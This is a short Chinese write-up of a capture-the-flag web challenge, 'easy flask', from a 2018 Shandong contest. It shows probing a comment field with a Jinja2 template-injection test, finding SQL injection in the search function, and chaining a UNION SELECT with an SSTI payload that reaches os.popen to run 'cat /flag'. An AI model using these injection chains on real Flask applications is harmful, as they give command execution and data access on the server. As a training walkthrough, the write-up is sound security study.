在2018山东省省赛出现的一个ctf题目:easy flask
可以看到该页面提供了两个功能,一个是add,另一个是searcha/。
而题目是easy flask,自然想到flask/jinja2的SSTI。
在add处输入payload尝试一下。1
2username:boo
comment:{{config}}
然后search一下username,发现注入成功。
但是拿出payload深入测试时,却发现对username和commemnt的内容做了长度限制。
此处先放一放,继续测试下面的search功能。
发现存在sql注入。1
payload1: ' union select 1,2,3 -- +
那么便可以利用sql注入,将ssti的payload显示到页面上,从而达到模板注入的效果。
最终的payload为:1
2
3-1' union select 1,2,"
{{''.__class__.__mro__[2].__subclasses__()
[59].__init__.func_globals.linecache.os.popen('cat /flag').read()}}" -- -